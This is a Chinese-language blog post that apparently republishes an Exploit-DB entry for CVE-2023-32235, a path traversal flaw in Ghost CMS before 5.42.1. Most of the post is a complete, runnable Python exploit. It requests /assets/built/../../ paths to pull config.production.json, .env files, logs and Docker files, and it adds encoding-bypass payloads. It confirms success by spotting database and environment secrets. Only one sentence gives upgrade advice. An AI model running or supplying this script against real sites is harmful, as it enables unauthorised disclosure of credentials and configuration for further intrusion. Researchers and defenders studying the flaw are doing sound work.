Ghost CMS 5.42.1路径遍历漏洞利用详解

本文详细介绍了Ghost CMS 5.42.1版本中的路径遍历漏洞(CVE-2023-32235),包括漏洞原理、利用方法、影响范围及修复建议,提供了完整的Python利用代码和测试结果。

Ghost CMS 5.42.1 - 路径遍历 - 多Web应用利用

漏洞概述

Ghost CMS在5.42.1版本之前存在路径遍历漏洞,允许远程攻击者读取活动主题文件夹结构中的任意文件。该漏洞存在于/assets/built/端点,该端点未正确处理目录遍历序列(../../),导致未经授权的文件访问。

技术细节

漏洞标识

  • EDB-ID: 52408
  • CVE: CVE-2023-32235
  • 漏洞类型: Web应用安全
  • CVSS评分: 7.5 (高危)

影响范围

  • 未经授权的文件泄露
  • 配置文件潜在暴露
  • 信息收集用于进一步攻击
  • 可能的凭据收集

利用代码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
# Exploit Title: Ghost CMS 5.42.1 - Path Traversal
# Date: 2023-06-15
# Exploit Author: ibrahimsql (https://github.com/ibrahimsql)
# Vendor Homepage: https://ghost.org
# Software Link: https://github.com/TryGhost/Ghost
# Version: < 5.42.1
# Tested on: Kali Linux 2024.1 Windows 10, macOS Big Sur
# CVE: CVE-2023-32235
"""

import requests
import sys
import urllib.parse
from typing import Dict, List, Tuple, Optional

class ExploitResult:
    def __init__(self):
        self.success = False
        self.payload = ""
        self.response = ""
        self.status_code = 0
        self.description = "Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built/../..// directory traversal"
        self.severity = "High"

class PathTraversalExploit:
    def __init__(self, target_url: str, verbose: bool = True):
        self.target_url = target_url.rstrip('/')
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'Accept': '*/*',
            'Cache-Control': 'no-cache',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
    
    def exploit(self) -> ExploitResult:
        result = ExploitResult()
        
        # 路径遍历payload,针对Ghost CMS特定文件
        payloads = [
            {"path": "../../package.json", "description": "主package.json包含依赖", "sensitive": True},
            {"path": "../../../package.json", "description": "根package.json", "sensitive": True},
            {"path": "../../config.production.json", "description": "生产配置", "sensitive": True},
            {"path": "../../config.development.json", "description": "开发配置", "sensitive": True},
            {"path": "../../.env", "description": "环境变量", "sensitive": True},
            {"path": "../../../.env", "description": "根环境文件", "sensitive": True},
            {"path": "../../content/settings/routes.yaml", "description": "路由配置", "sensitive": False},
            {"path": "../../content/logs/ghost.log", "description": "Ghost应用日志", "sensitive": False},

            {"path": "../../yarn.lock", "description": "Yarn锁文件", "sensitive": False},
            {"path": "../../package-lock.json", "description": "NPM锁文件", "sensitive": False},
            {"path": "../../../Dockerfile", "description": "Docker配置", "sensitive": False},
            {"path": "../../../docker-compose.yml", "description": "Docker compose文件", "sensitive": False}
        ]
        
        for payload in payloads:
            target_url = f"{self.target_url}/assets/built/{payload['path']}"
            
            if self.verbose:
                print(f"[*] Testing path traversal: {payload['path']}")
                
            try:
                response = self.session.get(target_url, timeout=10)
                
                if response.status_code == 200 and len(response.text) > 0:
                    if self._detect_file_read_success(response.text, payload['path']):
                        result.success = True
                        result.payload = payload['path']
                        result.response = response.text
                        result.status_code = response.status_code
                        
                        if payload['sensitive']:
                            result.severity = "Critical"
                            
                        if self.verbose:
                            print(f"[+] Successfully exploited path traversal: {payload['path']}")
                            print(f"[+] File content preview: {response.text[:200]}")
                        return result
                        
            except requests.RequestException as e:
                if self.verbose:
                    print(f"[-] Request failed for {payload['path']}: {e}")
                continue
                
        # 如果没有直接文件读取,尝试替代绕过技术
        if not result.success:
            self._try_path_traversal_bypasses(result)
            
        return result
        
    def _try_path_traversal_bypasses(self, result: ExploitResult):
        """尝试各种路径遍历绕过技术"""
        bypass_payloads = [
            "..%2f..%2fpackage.json",           # URL编码
            "..%252f..%252fpackage.json",       # 双重URL编码
            "....//....//package.json",        # 双点绕过
            "..\\\\..\\\\package.json",            # Windows风格
            ".%2e/.%2e/package.json",           # 混合编码
            "..%c0%af..%c0%afpackage.json",     # UTF-8超长编码
        ]
        
        for payload in bypass_payloads:
            target_url = f"{self.target_url}/assets/built/{payload}"
            
            try:
                response = self.session.get(target_url, timeout=10)
                
                if response.status_code == 200 and self._detect_file_read_success(response.text, payload):
                    result.success = True
                    result.payload = payload
                    result.response = response.text
                    result.status_code = response.status_code
                    
                    if self.verbose:
                        print(f"[+] Path traversal successful using encoding bypass: {payload}")
                    break
                    
            except requests.RequestException:
                continue
                
    def _detect_file_read_success(self, body: str, payload: str) -> bool:
        """检查响应是否表明文件读取成功"""
        # 检查常见文件内容指示器
        file_indicators = {
            "package.json": ['"name"', '"version"', '"dependencies"', '"scripts"'],
            ".env": ["DATABASE_URL", "NODE_ENV", "GHOST_", "="],
            "config": ['"database"', '"server"', '"url"', '"mail"'],
            "routes.yaml": ["routes:", "collections:", "taxonomies:"],
            "ghost.log": ["INFO", "ERROR", "WARN", "Ghost"],

            "Dockerfile": ["FROM", "RUN", "COPY", "EXPOSE"],
            "docker-compose": ["version:", "services:", "ghost:"]
        }
        
        # 检查特定文件类型指示器
        for file_type, indicators in file_indicators.items():
            if file_type.lower() in payload.lower():
                for indicator in indicators:
                    if indicator in body:
                        return True
                        
        # 通用文件内容指示器
        generic_indicators = ["{", "}", "[", "]", ":", "=", "version", "name", "description"]
        
        count = sum(1 for indicator in generic_indicators if indicator in body)
        
        # 如果找到多个通用指示器,可能是有效文件
        return count >= 3

def main():
    if len(sys.argv) < 2:
        print("Usage: python3 CVE-2023-32235.py <target_url>")
        print("Example: python3 CVE-2023-32235.py http://target.com")
        return
        
    exploit = PathTraversalExploit(sys.argv[1], verbose=True)
    result = exploit.exploit()
    
    print("\n=== CVE-2023-32235 Path Traversal Exploit Results ===")
    print(f"Target: {exploit.target_url}")
    print(f"Success: {result.success}")
    print(f"Severity: {result.severity}")
    print(f"Description: {result.description}")
    
    if result.success:
        print(f"Payload: {result.payload}")
        print(f"Status Code: {result.status_code}")
        print(f"Response Preview: {result.response[:500]}")
    else:
        print("Exploit failed - target may not be vulnerable")

if __name__ == "__main__":
    main()

测试结果

利用脚本提供了详细的测试结果输出,包括:

  • 目标URL
  • 利用成功状态
  • 漏洞严重级别
  • 使用的payload
  • HTTP状态码
  • 文件内容预览

修复建议

升级Ghost CMS到5.42.1或更高版本,该版本修复了此路径遍历漏洞。同时建议定期进行安全审计和漏洞扫描。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计